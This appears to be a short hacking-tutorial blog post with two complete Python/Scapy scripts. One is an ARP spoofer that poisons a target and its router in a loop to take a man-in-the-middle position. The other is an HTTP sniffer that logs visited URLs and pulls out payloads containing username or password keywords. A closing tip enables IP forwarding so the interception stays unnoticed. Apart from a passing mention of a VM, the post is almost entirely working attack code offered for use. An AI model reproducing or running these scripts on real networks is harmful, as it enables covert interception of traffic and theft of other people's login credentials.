ARP_SPOOF + PACKET_SNIFFR

NOTE: WE TOOK AN EXAMPLE OF ETH0/IN VM

CODE:ARP_SPOOFING_FILE_DRIVE

  1. #!/usr/bin/env python

  2. import scapy.all as scapy
  3. import time
  4. import sys

  5. def get_mac(ip):
  6. arp_request = scapy.ARP(pdst=ip)
  7. broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
  8. arp_request_broadcast = broadcast / arp_request
  9. answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]

  10. return answered_list[0][1].hwsrc

  11. def spoof(target_ip, spoof_ip):
  12. target_mac = get_mac(target_ip)
  13. packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
  14. scapy.send(packet, verbose=False)

  15. def restore(destination_ip, source_ip):
  16. destination_mac = get_mac(destination_ip)
  17. source_mac = get_mac(source_ip)
  18. packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
  19. scapy.send(packet,count=4, verbose=False)

  20. target_ip = "10.0.2.9"
  21. router_ip = "10.0.2.1"

  22. try:
  23. packets_sent_count = 0
  24. while True:

  25. spoof(target_ip, router_ip)
  26. spoof(router_ip, target_ip)

  27. packets_sent_count = packets_sent_count + 2
  28. print("\r[+] Sent " + str(packets_sent_count)),

  29. sys.stdout.flush()
  30. time.sleep(2)

  31. except KeyboardInterrupt:
  32. print("\n[+] Detected CTRL + C...RESECTING ARP TABLE.\n")

  33. restore(target_ip, router_ip)
  34. restore(router_ip, target_ip)

CODE:PACKET_SNIFFING_FILE_DRIVE

  1. #!/usr/bin/env python

  2. import scapy.all as scapy
  3. from scapy_http import http

  4. def sniff(interface):
  5. scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)

  6. def get_url (packet):
  7. return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path

  8. def get_login_info(packet):
  9. if packet.haslayer(scapy.Raw):
  10. load = packet[scapy.Raw].load
  11. keywords = ["username", "userName", "login", "password", "pass"]
  12. for keyword in keywords:
  13. if keyword in load:
  14. return load


  15. def process_sniffed_packet(packet):
  16. if packet.haslayer(http.HTTPRequest):
  17. url = get_url(packet)
  18. print("[+] HTTP Request >>" + url)
  19. login_info = get_login_info(packet)
  20. if login_info:
  21. print("\n\n[+] Possible username/password >" + login_info + "\n\n")


  22. sniff("eth0")

IF U FACE ANY ERROR!! READ ME:)

  • IF THE TARGET IS AT VM CHAEK THAT IS AT NAT-NETWORK
  • IF INTERNET DOESNOT WORK WHILE RUNNING ARP /PUT THIS CODE IN KALI TERMINAL
  • echo 1 > /proc/sys/net/ipv4/ip_forward


Post a Comment

If you have any doubts, please let me know

Previous Post Next Post